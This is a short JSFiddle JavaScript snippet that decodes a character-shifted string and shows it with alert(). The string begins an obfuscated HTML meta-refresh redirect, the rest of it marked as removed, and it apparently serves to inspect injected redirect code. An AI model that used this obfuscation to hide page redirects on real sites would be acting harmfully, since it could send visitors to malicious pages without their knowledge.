JSFiddle - React, Tailwind, and code Playground

JavaScript

<!--
var s="=nfub!iuuq.frvjw>#sfgsfti#!------REST OF PAYLOAD REMOVED-----?";
m=""; 
for (i=0; i<s.length; i++) 
{   
if(s.charCodeAt(i) == 28)
{     
m+= '&';
}
 else if 
(s.charCodeAt(i) == 23) 
{     m+= '!';} 
else 
{     
 m+=String.fromCharCode(s.charCodeAt(i)-1); 
}}
alert(m);//-->